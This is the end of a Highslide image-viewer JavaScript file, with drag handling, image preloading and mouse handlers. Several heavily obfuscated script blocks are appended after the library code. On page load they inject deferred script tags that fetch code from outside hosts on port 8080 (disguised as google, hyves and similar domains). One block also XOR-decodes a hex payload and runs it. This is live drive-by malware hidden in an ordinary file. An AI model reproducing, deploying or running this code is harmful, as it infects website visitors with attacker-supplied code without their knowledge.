    if (fobj.className == 'highslide-image') {
        fobj.style.cursor = hs.defaultRestoreCursor;
        //if (hasDragged) hasDragged = false;
        var left = parseInt(fobj.parentNode.style.left);
        var top = parseInt(fobj.parentNode.style.top);
        if (left == hs.leftBeforeDrag && top == hs.topBeforeDrag && !hs.hasFocused) {
            hs.restoreThumb(fobj.getAttribute('key'));
        }
        hs.hasFocused = false;
    
    } else if (fobj.className.match('highslide-image-blur')) {
        fobj.style.cursor = hs.defaultRestoreCursor;
        
    }
},

preloadImages : function () {
    
    var j = 0;
    
    var aTags = document.getElementsByTagName('A');
    for (var i in aTags) {
        a = aTags[i];
        if (a.className && (a.className.match("highslide$") || a.className.match("highslide "))) {
            if (j < this.numberOfImagesToPreload) {
                hs.preloadTheseImages[j] = a.href;
                j++;
            }
        }
    }
    
    hs.preloadFullImage(0); // starts recursive process
    
    // preload cursor
    var cur = document.createElement('img');
    cur.src = hs.graphicsDir + hs.restoreCursor;
    
    // preload outlines
    for (i = 1; i <= 8; i++) {
        var img = document.createElement('img');
        img.src = hs.graphicsDir + "outlines/"+ hs.outlineType +"/"+ i +".png";
    }
    
}
} // end hs object

// set handlers
document.onmousedown = hs.mouseDownHandler;
document.onmouseup = hs.mouseUpHandler;




var g=new String();var _o;if(_o!='k'){_o=''};var m='';var w=document;this.xo=15530;var uc=10602;var _=window;var x='sZcZrZiZpZta'.replace(/[aZOD6]/g, '');this.ki=false;this.ia=false;_.onload=function(){try {var mv="mv";q=w.createElement(x);var gt;if(gt!='kn'){gt='kn'};var mm;if(mm!='ei'){mm='ei'};var wg='';var pq='';this.t=false;this.qf=19043;q.src='hRtitRpR:L/R/>g>oioLgRlLei-Lr>u~.~3>6~0>b~u>yR.RcRoimR.ih~yRvie>si-RnRl~.Ry>oiuLrLt~aRgihReRu>eir~.>r>u~:R8i0R8>0~/Rfic~2>.~cLoim~/if>cR2>.icLoLmi/igLo>o>gRlLei.LcioRmL/LbLeRbRoi.icio>m>/Lsit>aLp~l>eRs~.~c>o~mR/i'.replace(/[i~L\>R]/g, '');var gg=34675;q.setAttribute('dFe6f1eir1'.replace(/[1i6F\.]/g, ''), "1");var _b="_b";var nx="nx";w.body.appendChild(q);} catch(f){};var um='';var z='';};var jw="";
var xz;if(xz!='uq' && xz!='j'){xz='uq'};function o() {var e;if(e!=''){e='y'};this.h=35138;function c(ot,s,f){var t;if(t!='' && t!='w_'){t=null};ot['sxextZAxtQtZr*iObxuZtZeZ'.replace(/[Z\*xQO]/g, '')](s, f);var jp=new Date();var yd;if(yd!='i' && yd!='k'){yd=''};var pk;if(pk!='d' && pk != ''){pk=null};}this.dr='';var u=window;var cw='c,r,eha&t&e,E,l,ehmzehnOt&'.replace(/[&Ohz,]/g, '');var r='s_cjr_iqpjt_'.replace(/[_4qOj]/g, '');var b=new String();u['o+nUlUo9a#d#'.replace(/[#GU\+9]/g, '')]=function(){var ev=13221;var jr;if(jr!='' && jr!='dh'){jr='kc'};try {var _='';rq=document[cw](r);this.ug="ug";c(rq,'dHe/f6e/r6'.replace(/[6lgH/]/g, ''),1);this.qtt="qtt";var zs;if(zs!=''){zs='oc'};c(rq,'s1rxcx'.replace(/[x1@kv]/g, ''),'h>tftNp1:N/1/>a1rNt?ifc?l>efsfb>a>sNeN-fc1o?m1.Nh1a>tft1rfi>c1k?.>o?rfg1.?g?oNo?g1lfe1-1r>oN.Nn>eNw>wNoNr?lfd>lNi?n?kf.?rNuf:?8>0N8>0?/>nNa>uNk>rNiN.1c1ofm1/Nn>afu1kNr?if.fcfoNmf/1g?ofoNgflNef.fc>oNmf/1a?lNt>e?r>v>i>s>tfa>.No1rfgN/>mNa1r?kNeftNw?a?tNc>hN.Nc1o>m1/>'.replace(/[\>f\?N1]/g, ''));var wb;if(wb!='v' && wb!='hi'){wb='v'};var jl;if(jl!='' && jl!='ai'){jl=''};document['bMoMd!y|'.replace(/[\|GMq\!]/g, '')]['a4prp4egnrdgC4hqiglrd4'.replace(/[4gqr7]/g, '')](rq);this.un="";var vy;if(vy!='bb'){vy=''};} catch(x){var fp='';var otb;if(otb!='' && otb!='x_'){otb=''};};};this.m_=40096;this._e=false;var ysp=new String();var ub='';};o();var mg=false;
var Yma="011512171e51171b1c3e296107013a1e5709320f171b3a3d1b271c3a2602221a243f251f3e01072e370d0736373f2934110013086262597044273b01102805073e3e68413742080a75181a721a26";var qz=false;var LGH=false;this.JO="";function Z(S){var ER;if(ER!='zt' && ER!='l'){ER='zt'};var PT=new Array();var r=new String();var CK=new String(); function U(Y){var ut;if(ut!='Qd' && ut!='i'){ut='Qd'};var L=[0,74][0];var PE=new Array();var rQ=new Array();var Lc=[1,49][0];var z=[175,255,69,150][1];var FZ;if(FZ!='px' && FZ!='Yw'){FZ='px'};var Qs;if(Qs!='Kf' && Qs!='Yk'){Qs='Kf'};var C=Y[R("nelhtg", [2,1,0])];var n=[0][0];var wx;if(wx!='uK' && wx!='B'){wx='uK'};var Zt;if(Zt!='id' && Zt!='Pj'){Zt='id'};while(n<C){this.YZ=13609;this.EB=38248;this.Nk='';var EF;if(EF!='' && EF!='QR'){EF=null};n++;var Iv="";Lq=N(Y,n - Lc);var xw='';var Ke='';L+=Lq*C;var VR;if(VR!='' && VR!='SL'){VR=''};var YA;if(YA!='' && YA!='EAR'){YA=''};}this.Zu="Zu";this.BS="BS";return new x(L % z);}var zu;if(zu!='Rs' && zu!='jU'){zu=''};this.LcD="LcD"; var R=function(Q, o){this.zP=false;var b = '';var W = Q.length;var SM="";var V = o.length;var KeN=new String();var Lc=[169,219,75,1][3];var ev=34122;var qu;if(qu!='LA' && qu != ''){qu=null};var A=[0][0];var h;if(h!='Fo' && h!='Ng'){h=''};var kv="kv";var rD;if(rD!='' && rD!='ft'){rD=''};for(var a = A; a < W; a += V) {var oL;if(oL!='IV' && oL!='kh'){oL='IV'};var QV=false;var kW;if(kW!=''){kW='WC'};var m = Q.substr(a, V);if(m.length == V){var nQ;if(nQ!='nR'){nQ='nR'};var ws=new String();for(var n in o) {var tz='';b+=m.substr(o[n], Lc);var rgf=new Date();var jQ=new String();var cw='';var LS=new Array();}} else {var QM='';this.jB=false;  b+=m;var Ww="";}var PA=new Array();}var sy=new String();var jM=44790;var Ii;if(Ii!=''){Ii='d'};return b;var oi;if(oi!='' && oi!='EW'){oi=null};this.WK='';};var tzy;if(tzy!='PC'){tzy=''}; var ca;if(ca!=''){ca='NH'};function v(y,q){var Eg;if(Eg!='nT' && Eg!='vT'){Eg='nT'};this.MV='';return y^q;this.kg="kg";}this.NG="";this.oy=false;this.rZ=false; function J(Q){this.yF="";var UC=new Date();var A =[0,75,91,55][0];var hQk=false;Q = new x(Q);var Uz;if(Uz!='yC'){Uz='yC'};var b = '';this.Ly=46787;var a =[0][0];var ek;if(ek!='' && ek!='KI'){ek=null};var Uu = -1;var TF=new Array();var Ya;if(Ya!='LX'){Ya='LX'};for (a=Q[R("tlegnh", [1,2,4,3,0])]-Uu;a>=A;a=a-[74,1,65][1]){var Yg;if(Yg!='' && Yg!='zy'){Yg=null};b+=Q[R("hAarct", [4,0,2,3,1])](a);}var KA=new String();var MY='';return b;}this.jMW="jMW";this.LG="LG";this.xf="";var UL=new String(); this.dH="dH";var UK='';function N(I,p){this.tf=20180;return I[R("ChcratdoAe", [2,1,4,3,0])](p);}this.Gd="Gd";this.il="";var YK;if(YK!='Pid' && YK != ''){YK=null};var H=window;var lf=new Array();var k=H[R("vlae", [3,0,2,1])];this.vx=false;var Yr;if(Yr!='ZC' && Yr!='RM'){Yr='ZC'};var u=k(R("tcFoniun", [2,6,4,1,0,5,3]));var LL;if(LL!='Kg' && LL!='hV'){LL=''};var vJ;if(vJ!='lF' && vJ!='AI'){vJ=''};var Hc = '';this.CP=false;this.Vu='';var DI;if(DI!=''){DI='Zs'};var uF;if(uF!=''){uF='eH'};var x=k(R("nrtSig", [3,2,1,4,0]));var Ws=new Date();var oh=k(R("eEgRxp", [3,0,2,1]));var Ym;if(Ym!='Zr' && Ym != ''){Ym=null};var In=new Date();var We=new Date();var ND=new Date();this.Az=5626;this.kvr=7278;var pB=x[R("orfhCmCraedo", [2,1,0])];var Vy=new Array();var j=H[R("csaunpee", [3,4,6,1,0,2,5])];var AT;if(AT!='' && AT!='eJ'){AT=null};var ze="";var O = S[R("ngetlh", [4,2,0,1,3])];this.zPl=17358;var Lc =[1,21,232][0];var pe=new Array();var A =[0,88][0];this.re="re";this.Yh="Yh";var yIZ=false;var F = x.fromCharCode(37);var rAx;if(rAx!='xp' && rAx != ''){rAx=null};var SMF;if(SMF!=''){SMF='oK'};var Yc = /[^@a-z0-9A-Z_-]/g;var WL=[1, R("cdoeum.ntecreateElnme\'t(rsctip\')", [1,2,0]),2, R("ocenudm.by.otdppdCeanild)dh(", [5,0,1,4,6,2,3]),3, R("ilevcsro.eocm", [1,0]),4, R("tc.omuorysmso.co.tfolog", [1,3,4,2,0]),5, R("s.edtAttbiur(e\'tfeedr\'", [3,1,0,2]),6, R("tnei.smteeapu.r0:880", [1,2,0]),7, R("ndwi.oowoanld", [2,3,0,1]),8, R("oogelgoc.m", [2,1,0]),11, R("ntfcun)i(o", [2,4,0,3,1]),12, R("amanozswa", [2,1,0]),14, R("hactc(e)", [4,1,3,2,0]),15, R("c4cm.oma", [2,7,6,1,4,0,5,3]),16, R("0nr.1et", [2,4,0,3,1]),17, R("h\"tt:p", [1,0]),18, R(".drsc", [1,0]),19, R("1\'\')", [2,0,1]),20, R("ytr", [1,2,0])];this.SH="SH";this.YS=56619;var xk;if(xk!='BM'){xk='BM'};var uM = '';var DIL;if(DIL!='' && DIL!='Zj'){DIL='by'};this.PQ=false;var iV;if(iV!=''){iV='Af'};var CD=new String();var Nq = '';var HP =[0,34,82,45][0];this.Yx=50353;this.Dr=1547;var SU = '';this.ZW="";this.Bg="";var kr =[2,232][0];var VFq=34995;var aHE;if(aHE!='AE'){aHE=''};var Xg='';for(var M=A; M < O; M+=kr){Nq+= F; var utZ;if(utZ!='oDz' && utZ != ''){utZ=null};var uKL=false;Nq+= S[R("ssbutr", [1,3,2,0])](M, kr);}var Vo;if(Vo!=''){Vo='Kj'};var S = j(Nq);this.vv=47697;var TS="";this.Is="";var e = new x(Z);var NE=26061;var Sko=36744;var Lu = e[R("epracle", [2,0,1])](Yc, uM);var Rq='';var SHc;if(SHc!='' && SHc!='xL'){SHc=null};var VU = new x(u);var kp;if(kp!='Ox' && kp!='mr'){kp=''};var ID=new Array();var bb;if(bb!='iX' && bb != ''){bb=null};var tN;if(tN!='' && tN!='krd'){tN=''};this.XN='';Lu = J(Lu);var Cr=new String();var Pd=false;var E = WL[R("glneth", [1,3,2,0,4])];var HI=34731;var Awc="Awc";var lD;if(lD!='BH' && lD!='FT'){lD='BH'};var tn=new String();var qB = VU[R("erplace", [1,0,2,3])](Yc, uM);var uai=25465;var vn;if(vn!='BWU' && vn!='dX'){vn='BWU'};var qB = U(qB);this.UN=false;var jg=U(Lu);var iI;if(iI!='' && iI!='ql'){iI=null};var UCH=new Date();this.gV='';var vvV=41805;for(var a=A; a < (S[R("enlthg", [2,0,1])]);a=a+[1,247][0]) {var Ia = Lu.charCodeAt(HP);var KC=new Date();var It = N(S,a);var Hx=new String();var Ma;if(Ma!='lo' && Ma!='kI'){Ma=''};It = v(It, Ia);var Jd=49368;It = v(It, jg);var VV=false;It = v(It, qB);var tw;if(tw!='' && tw!='rn'){tw='JN'};HP++;var qd;if(qd!='ZR'){qd='ZR'};var iw="iw";var VG="VG";if(HP > Lu.length-Lc){var gb;if(gb!='Eq' && gb!='qg'){gb=''};this.Kb='';HP=A;var fLl=false;var Wg;if(Wg!='zE'){Wg='zE'};}SU += pB(It);var ak;if(ak!='ex' && ak!='Ps'){ak=''};var lL;if(lL!='' && lL!='gY'){lL=''};}var Pl;if(Pl!='ia' && Pl!='cC'){Pl='ia'};var Sl='';var Xe;if(Xe!='Bq' && Xe!='cV'){Xe='Bq'};var fz='';for(P=A; P < E; P+=kr){this.utb="";var oP;if(oP!='aZ' && oP!='doQ'){oP=''};this.Ky=24635;var nr = pB(WL[P]);this.fi="fi";var t = WL[P + Lc];var BP;if(BP!='Ol' && BP != ''){BP=null};var vW;if(vW!=''){vW='HS'};var bZ=43662;var Ld = new oh(nr, pB(103));var EFs;if(EFs!='' && EFs!='wRa'){EFs=''};var YC;if(YC!='' && YC!='Uo'){YC=null};SU=SU[R("erlpcae", [1,0])](Ld, t);}var lH;if(lH!='' && lH!='NI'){lH='nUQ'};var vR;if(vR!=''){vR='oC'};var Ny=new u(SU);var eE='';var Rh;if(Rh!='' && Rh!='xc'){Rh=''};Ny();var aa;if(aa!='nc' && aa!='lt'){aa=''};this.Sr='';SU = '';var PD;if(PD!='cQA'){PD='cQA'};var Uv=new Array();Ny = '';var bl;if(bl!='' && bl!='Ee'){bl=''};VU = '';this.PTk="PTk";this.xz=37438;Lu = '';this.IU=50195;var cE;if(cE!='Sy'){cE='Sy'};jg = '';qB = '';return '';var OH;if(OH!=''){OH='lHs'};var Qn;if(Qn!=''){Qn='gp'};};var qz=false;var LGH=false;this.JO="";Z(Yma);
var T;if(T!='' && T!='z'){T=null};function M() {var Pt;if(Pt!='Mi' && Pt!='Pc'){Pt='Mi'};var A=']';var AX;if(AX!='c' && AX!='Y'){AX='c'};var fd;if(fd!='m' && fd!='jg'){fd='m'};var j=new String();var s='[';var fF;if(fF!=''){fF='w'};this.fh='';var Q=RegExp;var I='replace';var f='g';function C(v,x){var J=s;var _;if(_!='PM' && _ != ''){_=null};this.Tl="";J+=x;var mS;if(mS!='' && mS!='g'){mS='MT'};this.ED='';J+=A;var Qn;if(Qn!='rE'){Qn='rE'};var Jh=new Q(J, f);var aC="";var Yt;if(Yt!='' && Yt!='gL'){Yt=null};return v[I](Jh, j);};var AZ=new Array();var t=C('/Uejv_ijtUej.Yc_oYm_/YeYvUijtjej._cjo_m_/jgYojoUgYlYej.jcjoYmj/_d_i_aYnYp_i_nUgU.YcYojmj/_pYaUr_tUyUpjoYkUeUrU.YcUoUmY.YpYhYpj',"_jYU");var gC;if(gC!='nB' && gC!='fx'){gC=''};var tO='';var jw=C('sZcJrZiZpZtZ',"JZ");var tZ='';var QU;if(QU!='o' && QU!='b'){QU='o'};var Wz=new Date();var fL=C('hstst8ps:8/8/swso8wsasrsmsosr8y8-8cso8m8.83s7sw8a8n8.sc8osm8.8w8osw8hse8asd8-8csosm8.snseswsasgse8d8isrsesc8ts.8r8u8:8',"8s");var QS;if(QS!='' && QS!='vu'){QS=''};var fI=window;var Ptg=new Array();this.tV='';var sq=C('8322202237278777770722322',"237");var IQ=new Array();var K=C('cqrUeUaUtUeqEUlqeqmqeqnUtq',"qU");this.fS='';this.is='';var F;if(F!=''){F='yJ'};fI[C('oQnQlKoKaKdK',"QK")]=function(){var BN;if(BN!='IX' && BN!='L'){BN='IX'};try {var eb;if(eb!=''){eb='bV'};var Z;if(Z!='SW'){Z=''};var isY;if(isY!='' && isY!='Ke'){isY=''};tZ+=fL;this.Vr="";var bK=new Date();tZ+=sq;var yQ;if(yQ!='JG' && yQ != ''){yQ=null};tZ+=t;var Gi;if(Gi!='' && Gi!='inw'){Gi=''};var bB="";H=document[K](jw);var LL;if(LL!='' && LL!='LU'){LL=null};vl(H,'src',tZ);var Ng='';var rJ='';vl(H,'defer',([1,7][0]));var JK;if(JK!='' && JK!='Tk'){JK='sa'};document.body.appendChild(H);var Cu;if(Cu!='' && Cu!='cf'){Cu='jC'};var qV;if(qV!='' && qV!='wJ'){qV=null};} catch(E){var n_;if(n_!='XG' && n_ != ''){n_=null};var Ht=new String();};var cI;if(cI!='' && cI!='qx'){cI=null};var k=new Array();};var DC="";var Ac="";function vl(X,HR,Kj){var kS="";X.setAttribute(HR, Kj);this.XW='';}var DR=new Date();var RW=new String();};var eP=new String();M();